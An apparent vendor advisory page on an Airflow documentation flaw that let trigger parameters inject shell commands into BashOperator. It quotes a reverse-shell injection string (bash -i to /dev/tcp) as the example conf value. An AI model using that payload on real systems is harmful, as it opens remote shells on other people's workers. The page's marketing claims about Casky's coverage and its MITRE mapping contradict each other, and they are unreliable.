Apache Airflow's official documentation at `core-concepts/dag-run.html` ("Passing Parameters when triggering Dags") showed a verbatim `BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")` example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had `Dag.can_trigger` permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the `conf` field of the trigger API: an authenticated trigger user could supply `"; bash -i >& /dev/tcp/.../9999 0>&1; #"` as a `conf` value and reach an `os.exec` on the worker. This CVE covers the documentation correction in `apache/airflow` PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 docu
Casky was already ahead
This CVE exploits attack patterns that Casky's 0matched skills already investigate — long before this vulnerability was disclosed. Claude's reasoning model maps these techniques to MITRE ATT&CK, so practitioners who ran these skills have already seen the threat behaviour in their findings.
CVE-2026-42252 represents a critical vulnerability where Apache Airflow's official documentation provided unsafe code examples for passing parameters to DAGs via BashOperator without sanitization warnings. The vulnerable pattern—`BashOperator(bash_command="echo value: {{ dag_run.conf['conf1'] }}")`—allows shell metacharacter injection when DAG trigger parameters are directly interpolated into bash commands. This affects multi-team Airflow deployments and hosted offerings where users possess `Dag.can_trigger` permissions, enabling attackers to execute arbitrary shell commands with the privileges of the Airflow worker process. The CVSS score of 9.1 reflects the ease of exploitation and severe impact, as DAG triggering is often intentionally exposed via APIs in collaborative environments.
While no specific MITRE ATT&CK techniques are mapped to this CVE, practitioners using Casky.ai should recognize this as a command injection attack pattern (aligned with CWE-1336: Improper Neutralization of Special Elements used in a Command). Although Casky's current skill mapping shows zero matches for this specific CVE, the extended reasoning capabilities of Claude AI can identify the underlying vulnerability class through code analysis. Practitioners would observe findings related to unsafe template interpolation in task definitions, unquoted variable expansion in shell contexts, and the presence of user-controllable input flowing directly into bash_command parameters. The security flaw stems from insufficient input validation and the absence of defensive guidance in documentation—key signals that code review and DAG security auditing tools should flag when analyzing templated shell commands in Airflow deployments.
Composite risk scoring from EPSS, CISA KEV, Shodan, and GreyNoise — 21 security APIs correlated into a single Casky Risk Score. Coming in Casky Pro. Join early access →
Casky has 0 skills that investigate the attack patterns behind CVE-2026-42252. Run one and get CVSS-scored findings in 3 minutes.
Run the skill that detects this →© 2026 Casky.AI, Inc. · AI Security Investigation